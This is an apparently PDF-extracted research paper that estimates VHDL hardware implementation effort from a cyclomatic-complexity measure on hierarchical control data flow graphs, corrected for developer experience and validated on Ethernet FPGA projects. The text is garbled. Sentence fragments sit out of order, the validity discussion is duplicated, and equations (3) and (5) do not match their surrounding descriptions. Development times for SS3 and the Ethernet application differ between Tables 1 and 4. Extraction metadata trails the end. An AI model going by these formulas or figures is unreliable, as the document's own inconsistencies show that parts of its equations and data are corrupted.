research tool “Design-Trotter.” Section 4 presents some test cases used to investigate the validity of the above-mentioned hypothesis and of the proposed metric. Furthermore, the experimental results are analysed. Finally we conclude in Section 5.
2. STATE OF THE ART
2.1. Software
Most research about estimating implementation effort is found in the software domain, especially within the COCOMO project [8]. The problem of estimating the implementation effort is twofold. First, a reasonable measure needs to be developed for being able to quantify the algorithm. Second, a model needs to be developed, describing a rational relation between the measure and the implementation effort.
2.1.1. COCOMO
To start with the model, a typical power model has been proposed inside the COCOMO experiment [8, 9]:
\[ \text{Effort} = A \times \text{Size}^b, \]
where Size is an estimate of the project size, and A and b are adjustable parameters. These parameters are influenced by many external factors which we previously discussed in Section 1.2, but can be trained, based on previous project data.
To use this COCOMO measure, there is a need for expressing the size of the project. Inside the software domain, the dominating metric is lines of code (LOC). Using LOC is not without difficulties, for example, how is a code line defined? Reference [10] discusses this issue and states that LOC is not consistent enough for that use; this is also supported by [11]. Using the LOC metric also has several difficulties, for example, it is not a language independent metric. Furthermore, hardware developers also tend to disapprove this measure, since they do not feel that it is a representative measure for hardware designs.
However, we do not claim that there is no relation between LOC and the implementation effort. It is impossible to write 10 k lines in one day, but for VHDL the relation is not always straightforward. In the experiments that we have performed (data shown in Table 1) there is no unambiguous relation between the LOC in VHDL and the development time.
Reference [11] describes that making “a priori” determination of the size of a software project is difficult especially when using the traditional lines of code measure; instead function points-based estimation seems to be more robust.
2.1.2. Function points analysis
The function points metric was first introduced by Albrecht [12] and consists of two main stages: The first stage is counting and classifying the function types for the software. The identified functions need to be weighted reflecting their complexity, that is determined on the basis of the developers’ perception. The second stage is the adjustment of the function points according to the application and environment, based on 14 parameters. The function points can then be converted into an LOC measure, based on an implementation language-dependent factor, and, for example, [11] reports that the function points metric can be used as an implementation effort estimation metric. The function points analysis has been criticised of being too heuristic and [10] has proposed the SPQR/20 function points metric as an alternative. Reference [13] has compared the SPQR/20 and the function points analysis and found their accuracy comparable even though the SPQR/20 metric is simpler to estimate.
2.2. VHDL function points
To the knowledge of the authors, limited research has been carried out in the field of estimating the implementation difficulty of hardware designs.
Fornaciari et al. [14] have taken up the idea from the function points analysis and modified it to fit VHDL. By counting the number of internal I/O signals and components, and classifying these counts into levels, they extract a function point value related to VHDL. They have related their measure to the number of source lines in the LEON-1 processor project, and their predictions are within 20% of the real size. However, as stated previously, estimating the size does not always give an accurate indication of the implementation difficulty, and the necessary implementation time.
By measuring the number of internal I/O signals and components, their work goes along the same road as our initial observations indicate. However, our approach is pointing towards estimating the implementation effort, based on a behavioural description of the algorithm in the C-language. Furthermore, it also takes the designer’s experience into account.
3. METHODOLOGY
The proposed flow for estimating the implementation effort is illustrated in Figure 1. It takes its outset in a behavioural description of the algorithm, in C-language (including library function source code), which is intended to be implemented in hardware. From this description, we use the design-Trotter framework to generate a hierarchical control data flow graph (HCDFG) which is then measured to identify the number of independent paths. The resulting measure, combined with the experience of the developers, gives an estimate of the required implementation effort. The method is self-learning in the sense that after each successful implementation, new knowledge about the developers involved can be integrated, and improve the accuracy of the estimates. The HCDFG and the approach for modelling the developers experience are covered later in this section but initially we investigate how the number of paths can be measured.
3.1. Cyclomatic complexity
As described in Section 1.3, the number of independent paths is expected to correlate with the complexity that the engineers are facing when working on the implementation. Therefore, finding a method to measure the number of independent paths in an algorithm could help us investigating this issue. A metric measuring is the cyclomatic complexity measure proposed by McCabe [15] which measures the number of linear-independent paths in the algorithm. The cyclomatic complexity was originally invented as a way to intuitively quantify the complexity of algorithms, but has later found use for other purposes especially in the software domain. The cyclomatic complexity has been used for evaluating the quality of code in companies [16], where quality covers aspects from understandability over testability to maintainability. It has also been shown [17] that algorithms with a high cyclomatic complexity more frequently have errors than algorithms with lower cyclomatic complexity. The cyclomatic complexity has furthermore been used for evaluating programming languages for parallel computing [18], where languages that encapsulate control statement in instructions are receiving higher scores. All use the cyclomatic complexity measure under the assumptions that the complexity has significant influence on the number of paths the developers need to inspect, its correlation to the number of paths that needs to be tested, or a combination of the two.
In the domain of hardware, the cyclomatic complexity has also found use, judging the readability and maintainability in the SAVE project [19]. It is worth noticing that they use a misinterpreted [20] definition of the cyclomatic complexity [21].
All these projects utilise the cyclomatic complexity’s ability to measure the number of independent paths and relate them to their individual cases:
$$P(G) = \pi + 1,$$
where $\pi$ represents the number of condition nodes in the graph $G$ representing the algorithm being analysed. Figure 2 shows two examples of graphs and the corresponding cyclomatic complexity.
In this work, we propose an adapted version of the cyclomatic complexity definition to estimate, a priori, the number of independent paths on a hierarchical control data flow graph (HCDFG), defined in the following section. The cyclomatic complexity for an HCDFG is obtained by examining its subgraphs as explained in Section 3.3.
3.2. HCDFG
For this work we use the hierarchical control data flow graphs (HCDFGs), which are introduced in [22, 23]. The HCDFGs are used to represent an algorithm with a graph-based model so the examination task of the algorithm is eased. Control/Data Flow Graphs (CDFGs) are well accepted by designers as a representation of an algorithm where data flow graphs represent the data flow between different processes/operations, and the control flow layer, encapsulating these data flows and adding control structures to the graphical notation. The hierarchy layered structure is added to help representing large algorithms as well as to enable the analysis mechanism to identify functions/blocks in the graph. Such an identified block can then be seen as a single HCDFG that can be instantiated several times.
The hierarchy of an HCDFG is shown in Figure 3. An HCDFG can consist of other HCDFGs, Control/Data flow graphs (CDFGs) and data flow graphs (DFGs) as well as elementary nodes (processing, memory, and control nodes). An HCDFG is connected via dependency edges. In this work we only explore the graph at levels above the DFGs, and therefore only concentrate on these when we define the graph types in what follows.
Let us consider the hierarchical control data flow graph, \( G_{HCDFG} = (N_{HCDFG}, E_{HCDFG}) \), where \( N_{HCDFG} \) are the nodes denoted by \( N_{HCDFG} = \{n_{HCDFG1}, \ldots, n_{HCDFGn}\} \) and the nodes are \( N_{HCDFG} \in \{G_{CDFG} | G_{DFG} | Data\} \), meaning that the nodes in the \( G_{HCDFG} \) can be instances of its own type, encapsulated control data flow graphs, \( G_{CDFG} \), encapsulated data flow graphs \( G_{DFG} \), or data transfer nodes, \( Data \). The last one is introduced to avoid the duplication of data representations in the hierarchy, when data is exchanged between the graphs. Thereby, data are only represented by their nodes and not by edges as it is common in many other types of DFGs.
The edges, \( E_{HCDFG} \), connect the nodes such that \( E_{HCDFG} = \{e_{n_{HCDFGi}, n_{HCDFGj}}\} \), where \( i \neq j \) and represent the indexes of the nodes, \( E_{HCDFG} \in \{DD\} \) and where every node can have multiple input and/or output edges. For the \( G_{HCDFG} \), only data dependencies, \( DD \), are allowed, and no control dependencies, \( CD \).
In this way the HCDFG forms a hierarchy of encapsulated HCDFGs, CDFGs, and DFGs, connected via exchanging data nodes. The HCDFG can be seen as a container graph for other graph types such as the CDFG.
We can define the CDFG as \( G_{CDFG} = (N_{CDFG}, E_{CDFG}) \), where \( N_{CDFG} \) are the nodes denoted by \( N_{CDFG} = \{n_{CDFG1}, \ldots, n_{CDFGn}\} \) and the nodes are \( N_{CDFG} \in \{G_{CDFG} | G_{DFG} | Data\} \), where \( CC \in \{if, switch, for, while, do-while\} \). In this way the \( G_{CDFG} \) is able to describe common control structures, where the actual data processing is encapsulated in either DFGs or HCDFGs. Again, the data exchange nodes are used to exchange data between the other nodes.
The edges, \( E_{CDFG} \), connect the nodes such that \( E_{CDFG} = \{e_{n_{CDFGi}, n_{CDFGj}}\} \), where \( i \neq j \) and represent the indexes of the nodes. If \( n_{CDFGi} \in CC \) and \( n_{CDFGj} \in G_{CDFG} \), then \( \{e_{n_{CDFGi}, n_{CDFGj}}\} \in \{CD\} \), else \( \{e_{n_{CDFGi}, n_{CDFGj}}\} \in \{DD\} \).
Beneath the control data flow graphs \( G_{CDFG} \), the data flow graphs \( G_{DFG} \) exist but they are of no use in this work so we will not define them further here.
### 3.3. Calculating the cyclomatic complexity on CDFGs
Now that the HCDFG has been defined, we explain our proposed method for measuring the cyclomatic complexity on the CDFGs.
Since the cyclomatic complexity only considers the control structure in finding the number of independent paths in the algorithm, the DFG part of the algorithm is, as mentioned earlier, of no interest for this task because it only gives a single path. On the other hand, what is of interest is how the cyclomatic complexity is measured on the CDFGs.
Figure 3 shows an example of a hierarchical control data flow graph.
In this work the design space exploration tool “Design-Trotter” is used as an engine for analysing the algorithms. The HCDFG model is used as “Design-Trotter’s” internal representation.
and HCDFGs which are built by the tool Design-Trotter. This leaves us with the following cases which are described in detail afterwards:
(i) If constructs,
(ii) Switch constructs,
(iii) For-loop,
(iv) While/do-while loops,
(v) Functions,
(vi) HCDFGs in parallel,
(vii) HCDFGs in serial sequence.
3.3.1. If constructs
“If constructs” case is represented as CDFGs, \( G_{CDFG} \), where one node is a control node of type if (see Figure 4(a)). Before arriving at the control node, a condition evaluation node \( n_{eval} \) is traversed to calculate the boolean variable stored in \( n_{Data} \). To maintain simplicity, these are not shown in Figure 4(a). If the variable is true, the algorithm follows the path through the true body node, \( n_{true} \). Else it goes to the false body node \( n_{false} \). Note that in some cases, either the true body or the false body does not exist, but it still gives a path. In this case, according to the cyclomatic complexity measure, the number of independent paths is
\[
P(n_{if}) = P(n_{true}) + P(n_{false}) - 1.
\] (3)
The last part of (3), +\( P(n_{eval}) - 1 \) is included in case the evaluation graph is an HCDFG node.
3.3.2. Switch constructs
“Switch constructs” case is represented as CDFGs, \( G_{CDFG} \), almost the same flow as the “if constructs” case discussed above. One node is a control node of switch type. The last part of (3), +\( P(n_{eval}) - 1 \) is included in case the evaluation graph is an HCDFG node.
3.3.3. For-loop
“For-loop” case is the most complex of the control structures. Strictly speaking, a “for loop” consists of three different parts: the evaluation body, the evolution body, and the for body, \( n_{eval}, n_{evol}, \) and \( n_{for-body}, \) respectively. The control node \( n_{for} \) determines, based on the output from the evaluation graph, whether the flow should go into the “for loop” or leave it. The evolution node updates the indexes. Since each iteration of the graph needs to pass through the evaluation and evolution nodes, the number of independent paths is calculated as
\[
P(n_{for}) = P(n_{for-body}) + P(n_{eval}) - 1 + P(n_{eval}) - 1.
\] (5)
In many cases, the evaluation and evolution part of the "for loop" are quite simple indexing functions, meaning that \( n_{eval} \in \{ G_{DFG} \} \), \( n_{eval} \in \{ G_{DFG} \} \), will leave \( P(n_{for}) = P(n_{for-body}) \). The "for loop" is illustrated in Figure 4(d).
### 3.3.4. While loops and do-while loops
"While loops" and “do-while loops" cases are described jointly since it is only the entry to the loop structure that separates them and their cyclomatic complexity are equivalent. The “while loops" consist of two main parts: the while body \( n_{while-body} \in \{ G_{HCDFG} \} \), \( G_{DFG} \), and the while evaluation \( n_{eval} \in \{ G_{HCDFG} \} \), \( G_{DFG} \). This is illustrated in Figure 4(c). Deciding whether to continue looping is decided by the control node \( n_{while} \in \{ \text{while} \} \) based on the output of the \( n_{eval} \). Similarly to the "for loop," each iteration of the graph needs to pass through the evaluation nodes, so the number of independent paths can be calculated as
\[
P(n_{while}) = P(n_{while-body}) + P(n_{eval}) - 1. \tag{6}
\]
In many cases, the evaluation part of the while loop is a set of simple test functions, meaning that \( n_{eval} \in \{ G_{DFG} \} \), which leaves the \( P(n_{while}) = P(n_{while-body}) \).
### 3.3.5. Functions
The goal is to identify the number of independent paths in the algorithm/system. For this, reuse in terms of functions/blacks of code is important. When all independent paths through a function are known, reuse of this function does not change the number of independent paths in the system. From an implementation point of view, such functions represent an entity where the paths only need to be implemented once. In HCDFGs, a function/block can be seen as an encapsulated \( G_{HCDFG} \). Therefore, the number of independent paths in function/blacks of reused code should only count once. The paths can be calculated as
\[
P(n_{HCDFG_{function}}) = \begin{cases}
0 & \text{if reuse,} \\
1 & \text{else.}
\end{cases} \tag{7}
\]
### 3.3.6. HCDFGs in parallel and serial
Knowing how to handle all the HCDFGs that are identified for reuse (function), together with all the CDFGs, does not give it all. How the hierarchy of graphs should be combined is also of interest. For a parallel combination of two or more HCDFGs/CFDGS, as shown in Figure 4(e), the increase in the number of independent paths is then additive. The number of paths can be calculated as
\[
P(n_{HCDFG_{parallel}}) = \sum_{i=1}^{N} P(n_{HCDFG_i}), \tag{8}
\]
where \( N \) represents the number of nodes in parallel, \( i \) the index to the corresponding node where the paths are measured.
For serial combination of two or more HCDFGs and/or CDFGs, the number of independent paths is a combination of the independent paths of the involved HCDFGs/CDFGs. Remembering that there always needs to be one path through the system, the number of independent paths in a serial combination, is given as
\[
P(n_{HCDFG_{serial}}) = \sum_{i=1}^{N} P(n_{HCDFG_i}) - (N - 1), \tag{9}
\]
where \( N \) represents the number of nodes in serial, \( i \) the index to the corresponding node where the paths are measured.
An example of serial combination is shown in Figure 4(f). The number of independent paths for the entire algorithm, \( P(n_{HCDFG_{alg}}) \), is equivalent to the top HCDFG node which includes all the independent paths of its subgraphs.
### 3.4. Experience impact
The experience of the designer has an impact on the challenge that he/she is facing when developing a system. A radical example is when a beginner and a developer with ten years of experience are asked to solve the same task. They will not see equal difficulty in the same task, and thereby do not need to put the same effort into the development.
Experience is influenced by many parameters but in this work we only focus on the time the developer has worked with the implementation language and the target architecture.
The impact of experience is a factor that slowly decreases over time: consider a new developer, the experience that he/she obtains in the first months working with the language, and architecture improves his/her skills significantly. On the other hand, a developer who has worked with the language and architecture for five years, for example, will not improve her/his skills at the same rate by working an extra year. The impact from the experience is therefore not linear but tends to have a negative acceleration or inverse logarithmic nature, with dramatic change in impact in the beginning, progressing towards little or no change as time increases.
In literature, for example, [24], many studies try to fit historical data to models. An example of a model is a power function with negative slope or a negative exponential function. From the vast variety of models that has been proposed over the years, the only conclusion that can be drawn is that there are multiple curvatures, but they all appear to have a negative accelerating slope, which tends to be exponential/logarithmic.
In order to get the best possible outset for predicting the implementation effort, it is of vital importance to obtain some data of the developers’ experiences, and also how they performed in the past. The parameters involved in the experience curve can then be trimmed to create the best possible fit. However, it has not been the purpose of this work to select the perfect nature for a learning curve nor to evaluate the accuracy of such one. The learning curve will be adapted to the individual developers, and as the model is used in subsequent projects, its accuracy will progressively improve. As a consequence, the experience here is only
intended as an element in modelling the complexity and thereby a means for more accurate estimates.
For the experiments in this study we have chosen to use the following model:
\[ \eta_{\text{experience}}(\text{Dev}) = \frac{1}{\alpha \log(\text{Experience}(\text{Dev}) + \beta)} \]
where \( \alpha \) and \( \beta \) are trim parameters which can be used to optimise the curve to fit reality. Experience is the number of weeks which the developer, Dev, has worked with the language and architecture. Figure 5 depicts the shape of the experience model.
In this work, our initial experiments have shown that setting \( \alpha = 1 \) and \( \beta = 1 \) makes our model sufficiently general, and therefore we have not further investigated the tuning of these two parameters.
4. RESULTS
In order to verify the hypothesis, a classical test has been conducted. The test is dual phased and consists of (i) a training phase using a first set of real-life data, during which the hypothesis is said to be true, and (ii) a validation phase during which a second set of real-life data is used to evaluate whether the hypothesis holds true or not.
4.1. Phase one—training
The real-life data used as training data originate from two different application types that are both developed as academic projects in universities in France. The first application is composed of five different video processing algorithms for an intelligent camera, which is able to track moving objects in a video sequence. The second application is a cryptographic system, able to encrypt data with different cryptographic/hashing algorithms, that is, MD5, AES and SHA-1. The system consists of one combined engine [25] as well as individual implementations. These projects were selected since they all follow the methodology of using a behavioural specification in C, as a starting point for the VHDL implementation. Common to this data is that none of the developers has made the behavioural specification in C. For the cryptographic algorithms the behavioural specification comes from the standards, and the video algorithms were based on a previous project.
Using the behavioural description as the starting point of the experiment, the exercise consists of studying the relationship between the complexity of the algorithms (as defined in Section 3) and the implementation effort (i.e., time) required to implement them in VHDL (including testbed and heuristic tests).
The developers involved in these projects have all been Master and Ph.D. students with electrical engineering backgrounds but no VHDL background other than what they obtained during their studies, see Table 2. All developers were taught VHDL by other instructors than the authors, but at our university. Table 3 summaries the training data.
Figure 5 shows the relation between the implementation effort and the measured complexity for the individual algorithms. Please note that in this graph the complexity values are not yet corrected for the designers’ experience.
A first examination of the data points indicates a possible relation between some of them. However many other points are located far away from any relation. These data are not corrected for the designers’ experience and, as earlier mentioned, we strongly believe that the experience of the individual designer has a nonnegligible influence on the development time. If we inspect the data more thoroughly, it is clear that the points of greatest divergence are those implementations where the developers have very limited knowledge and experience with the VHDL language.
Applying the proposed equation (10) (nonlinear) experience transform onto the data, results in a significantly different picture as depicted in Figure 7. A clear trend toward a relation is now visible in the plotted data. From the COCOMO II project [8], it is known that the relationship between the implementation time and the complexity measure (in their case lines of code, LOC) can be expressed as a
Table 1: Line of code, area, and time constraints for the validation data.
<table>
<thead>
<tr>
<th>Algorithm</th>
<th>SS1</th>
<th>SS2</th>
<th>SS3</th>
<th>SS4</th>
<th>SS5</th>
<th>SS6</th>
<th>Ethernet</th>
<th>App 4</th>
</tr>
</thead>
<tbody>
<tr>
<td>Dev. Time (weeks)</td>
<td>3.6</td>
<td>6.4</td>
<td>2.4</td>
<td>16.4</td>
<td>12</td>
<td>17.2</td>
<td>16</td>
<td>2</td>
</tr>
<tr>
<td>LOC-VHDL</td>
<td>994</td>
<td>1195</td>
<td>776</td>
<td>1695</td>
<td>760</td>
<td>2088</td>
<td>3973</td>
<td>232</td>
</tr>
<tr>
<td>Slices</td>
<td>564</td>
<td>2212</td>
<td>382</td>
<td>888</td>
<td>372</td>
<td>2171</td>
<td>3372</td>
<td>750</td>
</tr>
<tr>
<td>FlipFlops</td>
<td>913</td>
<td>2921</td>
<td>1290</td>
<td>1366</td>
<td>372</td>
<td>2171</td>
<td>3372</td>
<td>750</td>
</tr>
<tr>
<td>LUTs</td>
<td>997</td>
<td>3157</td>
<td>6453</td>
<td>1569</td>
<td>6443</td>
<td>3458</td>
<td>18255</td>
<td>567</td>
</tr>
<tr>
<td>Time Constraint. (ns)</td>
<td>112</td>
<td>128</td>
<td>360</td>
<td>112</td>
<td>360</td>
<td>248</td>
<td>696</td>
<td>56</td>
</tr>
</tbody>
</table>
Table 2: Facts about the developers. Developers for training data (top) and validation data (bottom).
<table>
<thead>
<tr>
<th>Developer</th>
<th>Education</th>
<th>Years in the domain</th>
</tr>
</thead>
<tbody>
<tr>
<td>Dev 1</td>
<td>Ph.D. stud.</td>
<td>0</td>
</tr>
<tr>
<td>Dev 2</td>
<td>Stud. (EE)</td>
<td>0</td>
</tr>
<tr>
<td>Dev 3</td>
<td>Stud. (EE)</td>
<td>0</td>
</tr>
<tr>
<td>Dev 4</td>
<td>Stud. (EE)</td>
<td>0</td>
</tr>
<tr>
<td>Dev 5</td>
<td>BSc.EE.</td>
<td>9</td>
</tr>
<tr>
<td>Dev 6</td>
<td>MSc.EE.</td>
<td>15</td>
</tr>
<tr>
<td>Dev 7</td>
<td>MSc.EE.</td>
<td>9</td>
</tr>
<tr>
<td>Dev 8</td>
<td>MSc.EE.</td>
<td>8</td>
</tr>
<tr>
<td>Dev 9</td>
<td>MSc.EE.</td>
<td>8</td>
</tr>
</tbody>
</table>
Table 3: Training data (top) and validation data (bottom). Algorithms are related to the developers and their experience at the given time. Complexity is not corrected.
<table>
<thead>
<tr>
<th>Algorithm</th>
<th>Complexity</th>
<th>Developer</th>
<th>Dev. Exp.</th>
</tr>
</thead>
<tbody>
<tr>
<td>T1</td>
<td>10</td>
<td>Dev 1</td>
<td>2</td>
</tr>
<tr>
<td>T2</td>
<td>24</td>
<td>Dev 1</td>
<td>10</td>
</tr>
<tr>
<td>T3</td>
<td>12</td>
<td>Dev 1</td>
<td>18</td>
</tr>
<tr>
<td>T4</td>
<td>14</td>
<td>Dev 2</td>
<td>1</td>
</tr>
<tr>
<td>T5</td>
<td>4</td>
<td>Dev 1</td>
<td>20</td>
</tr>
<tr>
<td>MD5</td>
<td>10</td>
<td>Dev 3</td>
<td>1</td>
</tr>
<tr>
<td>MD5</td>
<td>10</td>
<td>Dev 4</td>
<td>4</td>
</tr>
<tr>
<td>AES</td>
<td>10</td>
<td>Dev 4</td>
<td>8</td>
</tr>
<tr>
<td>SHA-1</td>
<td>27</td>
<td>Dev 4</td>
<td>14</td>
</tr>
<tr>
<td>Combined</td>
<td>59</td>
<td>Dev 4</td>
<td>14</td>
</tr>
<tr>
<td>SS1</td>
<td>25</td>
<td>Dev 6, 7</td>
<td>150</td>
</tr>
<tr>
<td>SS2</td>
<td>35</td>
<td>Dev 5</td>
<td>150</td>
</tr>
<tr>
<td>SS3</td>
<td>17</td>
<td>Dev 5, 6, 7, 8</td>
<td>150</td>
</tr>
<tr>
<td>SS4</td>
<td>50</td>
<td>Dev 6</td>
<td>6</td>
</tr>
<tr>
<td>SS5</td>
<td>29</td>
<td>Dev 7</td>
<td>3</td>
</tr>
<tr>
<td>SS6</td>
<td>25</td>
<td>Dev 5, 6, 7</td>
<td>3</td>
</tr>
<tr>
<td>Ethernet</td>
<td>60</td>
<td>Dev 5, 6, 7, 8, 9</td>
<td>150</td>
</tr>
<tr>
<td>App 4</td>
<td>9</td>
<td>Dev 6</td>
<td>150</td>
</tr>
</tbody>
</table>
Figure 7: Relation between the implementation effort (number of weeks) and the complexity corrected according to the designers’ experience model as shown in Figure 5.
Figure 7 the dashed line illustrates the relationship, with the parameters given above.
4.2. Phase two—validation
After having elaborated on a model based on the training data, we proceeded with the validation of its correctness. For this, a new set of data provided by ETI A/S, a Danish SME, is used. The dataset originates from a networking system and consists of Ethernet applications that have been implemented on an FPGA, as well as corresponding testbeds. This Ethernet application is part of an existing system with which it requires interaction. Table 1 shows additional implementation information with regards to these applications. The system is a real-time system with hard-time constraints and all algorithms were implemented as to meet these constraints. Similar to the training data, the development flow for this application has been as follows: a behavioural C++ model of the application has been constructed before the implementation on the FPGA architecture. The behavioural model has been developed by developers separate to those undertaking the implementation. The developers responsible for the application were responsible for the validation of the correct construction of the hardware for the implementation.
Power function with a weak slope. We showed its nature in (1), and with correction for experience it becomes
\[
\text{Effort} = A \times \eta_{\text{experience}}(\text{Dev}) \times P(\eta_{\text{HCD}FG_{\text{Alg}}})^b. \tag{11}
\]
The parameters \(A\) and \(b\) are found, via a least square (LS) fit on our training data, to be \(A = 0.226\) and \(b = 1.103\). In
for the implementation have obtained their skills in VHDL from a professional course with no relation to our university in Denmark.
The time spent on the implementation process covers: the design and implementation of the VHDL code of the functionalities and testbed as well as the tests of the different modules in the applications. This data is shown in the lower part of Table 3. The time data originate from the company’s internal registration for the project, and correspond therefore to the effective time used.
The relation between implementation effort and complexity is plotted in Figure 8. It can be seen that this data, corrected for the designers’ experience (∗) closely follows the model derived from the training data (dashed line). Figure 8 also shows the 95% confidence interval, indicating that, with 95% confidence, future predictions of implementation effort will lie within this interval, given that the model holds true.
Comparing the predicted effort (dashed line) to the real effort (∗), indicates that there is an estimation error. The values are also shown in Table 4. The average estimation error is 0.2 week with a variance of 8. In the next section, we discuss the validity of the model.
### 4.3. Validity discussion
Estimating the effort required in implementing an algorithm into hardware involves many parameters. We discussed a number of these parameters in Section 1.2, but could not include them all in this study. The proposed model is therefore devised from the idea of the relation between implementation effort and number of linear-independent paths.
To validate the model, a classical two-phased hypothesis test has been performed and the validity of this test depends on the following important factors: (i) the independence between training and validation data; (ii) the volume and variety of the experiments.
In the first instance, not only different applications were used for training and validation data, but in addition the developers had no relation in terms of education, nationality, work, and so forth. Moreover, the validation data has not been measured before the model was trained. All this strengthens the validity of the results. The only potential connection is that some of the developers who have been involved in the implementation of the training and validation data have also been included within those interviewed. However, this accounts for a minority and we see this as a minimal risk.
Secondly, we should ideally have had a large volume and variety of experimental data for training and validation. However, our set of data originates from a single company and a few developers. So strictly speaking we can only conclude that this model applies to the specific SME setup involved in the study and partially to the academic environment studied.
In order to generalise our model, more cases of validation are needed. However, obtaining all the statistical data for this new methodology is time consuming. We would therefore like to remind the reader that this paper proposes a methodology for estimating implementation effort and the validation of the model concentrates on illustrating its usefulness. Looking at the graphs, we can determine a clear trend in the results. The curve identified in the training data is sustained for the validation data as well: they both fall in line with the underlying rationale, and we are quite confident in the strength of the proposed model.
<table>
<thead>
<tr>
<th>Algorithm</th>
<th>Dev. time</th>
<th>Est. dev. time</th>
<th>Error</th>
</tr>
</thead>
<tbody>
<tr>
<td>SS1</td>
<td>3.6</td>
<td>3.3</td>
<td>0.3</td>
</tr>
<tr>
<td>SS2</td>
<td>6.4</td>
<td>4.8</td>
<td>1.6</td>
</tr>
<tr>
<td>SS3</td>
<td>3.2</td>
<td>2.2</td>
<td>1</td>
</tr>
<tr>
<td>SS4</td>
<td>16.4</td>
<td>20.3</td>
<td>−3.9</td>
</tr>
<tr>
<td>SS5</td>
<td>12</td>
<td>16.2</td>
<td>−4.2</td>
</tr>
<tr>
<td>SS6</td>
<td>17.2</td>
<td>13.8</td>
<td>3.4</td>
</tr>
<tr>
<td>Ethernet app</td>
<td>11.4</td>
<td>8.8</td>
<td>2.6</td>
</tr>
<tr>
<td>App 4</td>
<td>2</td>
<td>1.1</td>
<td>0.9</td>
</tr>
</tbody>
</table>
Mean (variance): 0.2 (8)
To validate the model, a classical two-phased hypothesis test has been performed and the validity of this test depends on the following important factors: (i) the independence between training and validation data; (ii) the volume and variety of the experiments.
In the first instance, not only different applications were used for training and validation data, but in addition the developers had no relation in terms of education, nationality, work, and so forth. Moreover, the validation data has not been measured before the model was trained. All this strengthens the validity of the results. The only potential connection is that some of the developers who have been involved in the implementation of the training and validation data have also been included within those interviewed. However, this accounts for a minority and we see this as a minimal risk.
Secondly, we should ideally have had a large volume and variety of experimental data for training and validation. However, our set of data originates from a single company and a few developers. So strictly speaking we can only conclude that this model applies to the specific SME setup involved in the study and partially to the academic environment studied.
In order to generalise our model, more cases of validation are needed. However, obtaining all the statistical data for this new methodology is time consuming. We would therefore like to remind the reader that this paper proposes a methodology for estimating implementation effort and the validation of the model concentrates on illustrating its usefulness. Looking at the graphs, we can determine a clear trend in the results. The curve identified in the training data is sustained for the validation data as well: they both fall in line with the underlying rationale, and we are quite confident in the strength of the proposed model.
The results clearly show the necessity for the proposed correction function; the proposed logarithmic nature works well, even though the correction function has not been trimmed to fit the individual developers due to the lack of available data. In this light, our approach must be seen as the engine of a global methodology for the management of design projects, that impose a systematic registration of man-power. With such a registration, a database of the developers’ experience can easily be constructed and the
correction function can be trimmed to fit the companies’ individual designers. Several iterations of this process would provide convergence towards a more precise estimation of the implementation effort.
The limited data set on which the model is constructed also limits the complexity window to which this model can be applied: having no algorithm with a corrected complexity value larger than 51, extrapolating the model further would weaken the current conclusion. More training data, from larger and more varied projects would allow for a more refined model.
Nevertheless, the results described in this paper are very encouraging with all the real-life cases that we have examined and we are reasonably confident that this model can easily be applied to other types of applications.
5. CONCLUSION
The contribution presented in this paper is a metric-based approach for estimating the time needed for hardware implementation in relation to the complexity of an algorithm. We have deduced that a relationship exists between the number of linear-independent paths in the algorithm and the corresponding implementation effort. We have proposed an original solution for estimating implementation effort that extends the concept of the cyclomatic complexity.
To further improve our solution, we developed a more realistic estimation model that includes a correction function to take into account the designer’s experience.
We have implemented this solution in our tool design Trotter of which the input is a behavioural description in C language and the output is the number of independent paths. Based on this output and the proposed model, we are able to predict the required implementation effort. Our experimental results, using industrial Ethernet applications, confirmed that the data, corrected for the designers’ experience, follows the derived model closely and that all data falls inside its 95% confidence interval. Using this method iteratively paves the way for an implementation effort estimator of which the accuracy improves continuously after each project.
REFERENCES
[3] “Workshop for Danish smes developing embedded systems co-organized by the Danish technological institute, the center for software defined radio (csdr) and the center for embedded software systems (ciss),” Nyhedsmagasinet Elektronik & Data, Nr.1 2008, Aarhus, Denmark, 2008.
|
{"Source-Url": "http://vbn.aau.dk/files/16542417/articel.pdf", "len_cl100k_base": 11509, "olmocr-version": "0.1.53", "pdf-total-pages": 13, "total-fallback-pages": 0, "total-input-tokens": 43193, "total-output-tokens": 13323, "length": "2e13", "weborganizer": {"__label__adult": 0.0007047653198242188, "__label__art_design": 0.0013427734375, "__label__crime_law": 0.0005779266357421875, "__label__education_jobs": 0.0018320083618164065, "__label__entertainment": 0.00016438961029052734, "__label__fashion_beauty": 0.00043582916259765625, "__label__finance_business": 0.0009288787841796876, "__label__food_dining": 0.0005679130554199219, "__label__games": 0.0016946792602539062, "__label__hardware": 0.0275421142578125, "__label__health": 0.0012178421020507812, "__label__history": 0.000720977783203125, "__label__home_hobbies": 0.0004651546478271485, "__label__industrial": 0.002483367919921875, "__label__literature": 0.0003497600555419922, "__label__politics": 0.0004987716674804688, "__label__religion": 0.0009164810180664062, "__label__science_tech": 0.4033203125, "__label__social_life": 0.0001061558723449707, "__label__software": 0.00628662109375, "__label__software_dev": 0.544921875, "__label__sports_fitness": 0.0006313323974609375, "__label__transportation": 0.0022678375244140625, "__label__travel": 0.0003533363342285156}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 52984, 0.04906]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 52984, 0.39153]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 52984, 0.92208]], "google_gemma-3-12b-it_contains_pii": [[0, 1622, false], [1622, 5675, null], [5675, 11401, null], [11401, 16809, null], [16809, 20048, null], [20048, 23580, null], [23580, 25740, null], [25740, 31469, null], [31469, 35463, null], [35463, 39807, null], [39807, 46174, null], [46174, 52517, null], [52517, 52984, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1622, true], [1622, 5675, null], [5675, 11401, null], [11401, 16809, null], [16809, 20048, null], [20048, 23580, null], [23580, 25740, null], [25740, 31469, null], [31469, 35463, null], [35463, 39807, null], [39807, 46174, null], [46174, 52517, null], [52517, 52984, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 52984, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 52984, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 52984, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 52984, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 52984, null]], "google_gemma-3-4b-it_v2tag__is_news_article": 